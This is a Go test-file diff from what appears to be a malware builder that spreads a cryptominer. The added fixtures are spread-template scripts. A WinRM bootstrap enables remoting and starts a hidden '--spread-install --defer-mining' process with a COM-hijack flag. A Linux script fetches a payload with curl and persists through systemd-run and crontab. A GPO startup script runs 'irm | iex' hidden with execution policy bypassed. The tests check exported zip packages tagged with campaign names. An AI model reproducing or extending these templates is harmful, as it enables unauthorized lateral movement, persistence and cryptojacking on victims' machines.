Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

server/internal/api/spread_handler_test.go

@@ -49,7 +49,14 @@ func writeSpreadTemplates(t *testing.T, root string) {
 	if err := os.MkdirAll(winrmDir, 0755); err != nil {
 		t.Fatal(err)
 	}
-	if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte("{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}} COM={{COM_HIJACK}}"), 0644); err != nil {
+	winrmScript := `# WinRM bootstrap
+Enable-PSRemoting -Force -SkipNetworkProfileCheck
+$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
+Start-Process -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
+powershell.exe -EncodedCommand $encoded
+COM={{COM_HIJACK}}
+`
+	if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0644); err != nil {
 		t.Fatal(err)
 	}
 
@@ -57,7 +64,13 @@ func writeSpreadTemplates(t *testing.T, root string) {
 	if err := os.MkdirAll(linuxDir, 0755); err != nil {
 		t.Fatal(err)
 	}
-	if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte("#!/bin/sh\n# {{LOTL_MODE}} {{SERVER_URL}}\n"), 0755); err != nil {
+	linuxScript := `#!/bin/sh
+LOTL_MODE='{{LOTL_MODE}}'
+curl -fsSL "{{SERVER_URL}}/get?os=linux{{QUERY_SUFFIX}}"
+systemd-run --user --unit=aetherforge-worker.service
+persist_crontab() { crontab -; }
+`
+	if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0755); err != nil {
 		t.Fatal(err)
 	}
 
@@ -65,7 +78,12 @@ func writeSpreadTemplates(t *testing.T, root string) {
 	if err := os.MkdirAll(entDir, 0755); err != nil {
 		t.Fatal(err)
 	}
-	if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte("{{SERVER_URL}}{{GET_QUERY_SUFFIX}}"), 0644); err != nil {
+	gpoScript := `# GPO computer startup script
+$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
+$env:AETHER_DEFER_MINING = '1'
+powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
+`
+	if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0644); err != nil {
 		t.Fatal(err)
 	}
 }
@@ -220,6 +238,137 @@ func TestExportSpreadTemplateRequiresTemplate(t *testing.T) {
 	}
 }
 
+func TestExportSpreadTemplateGPO(t *testing.T) {
+	root := t.TempDir()
+	writeSpreadTemplates(t, root)
+	h := NewSpreadHandler(nil, t.TempDir(), root, nil)
+
+	body, _ := json.Marshal(map[string]string{
+		"template":   "gpo",
+		"server_url": "https://deck.example",
+		"build_id":   "pin-gpo",
+		"campaign":   "domain-wave",
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ExportSpreadTemplate(rec, req)
+
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
+	}
+	if !strings.Contains(rec.Header().Get("Content-Disposition"), "aetherforge-gpo-startup.zip") {
+		t.Fatalf("disposition %q", rec.Header().Get("Content-Disposition"))
+	}
+	entries := readZipEntries(t, rec.Body.Bytes())
+	script := entries["gpo-startup.ps1"]
+	for _, marker := range []string{
+		"https://deck.example/install.ps1",
+		"pin=pin-gpo",
+		"c=domain-wave",
+		"AETHER_DEFER_MINING",
+	} {
+		if !strings.Contains(script, marker) {
+			t.Fatalf("gpo script missing %q: %s", marker, script)
+		}
+	}
+}
+
+func TestExportSpreadTemplateLinuxLOTL(t *testing.T) {
+	root := t.TempDir()
+	writeSpreadTemplates(t, root)
+	h := NewSpreadHandler(nil, t.TempDir(), root, nil)
+
+	body, _ := json.Marshal(map[string]string{
+		"template":   "linux-lotl",
+		"server_url": "https://deck.example",
+		"build_id":   "pin-lnx",
+		"campaign":   "ssh-wave",
+		"lotl_mode":  "both",
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ExportSpreadTemplate(rec, req)
+
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
+	}
+	entries := readZipEntries(t, rec.Body.Bytes())
+	script := entries["lotl-bootstrap.sh"]
+	for _, marker := range []string{
+		"https://deck.example/get?os=linux",
+		"pin=pin-lnx",
+		"LOTL_MODE='both'",
+		"systemd-run --user",
+		"crontab",
+	} {
+		if !strings.Contains(script, marker) {
+			t.Fatalf("linux script missing %q: %s", marker, script)
+		}
+	}
+}
+
+func TestSpreadTemplateRejectsUnknownLane(t *testing.T) {
+	root := t.TempDir()
+	writeSpreadTemplates(t, root)
+	h := NewSpreadHandler(nil, t.TempDir(), root, nil)
+	body, _ := json.Marshal(map[string]string{
+		"template":   "bogus-lane",
+		"server_url": "https://deck.example",
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ExportSpreadTemplate(rec, req)
+	if rec.Code != http.StatusBadRequest {
+		t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
+	}
+}
+
+func TestSpreadTemplateRequiresServerURL(t *testing.T) {
+	root := t.TempDir()
+	writeSpreadTemplates(t, root)
+	h := NewSpreadHandler(nil, t.TempDir(), root, nil)
+	body, _ := json.Marshal(map[string]string{"template": "winrm"})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ExportSpreadTemplate(rec, req)
+	if rec.Code != http.StatusBadRequest {
+		t.Fatalf("status %d", rec.Code)
+	}
+}
+
+func TestExportSpreadTemplateWinRMMarkers(t *testing.T) {
+	root := t.TempDir()
+	writeSpreadTemplates(t, root)
+	h := NewSpreadHandler(nil, t.TempDir(), root, nil)
+
+	body, _ := json.Marshal(map[string]interface{}{
+		"template":   "winrm",
+		"server_url": "https://deck.example",
+		"build_id":   "pin-wrm",
+		"campaign":   "winrm-lab",
+		"com_hijack": true,
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	h.ExportSpreadTemplate(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
+	}
+	entries := readZipEntries(t, rec.Body.Bytes())
+	script := entries["bootstrap.ps1"]
+	for _, marker := range []string{
+		"Enable-PSRemoting",
+		"https://deck.example/get?os=windows",
+		"--spread-install",
+		"--defer-mining",
+		"COM=true",
+	} {
+		if !strings.Contains(script, marker) {
+			t.Fatalf("winrm script missing %q: %s", marker, script)
+		}
+	}
+}
+
 func TestExportWordPressPluginRequiresSiteName(t *testing.T) {
 	root := t.TempDir()
 	writeSpreadTemplates(t, root)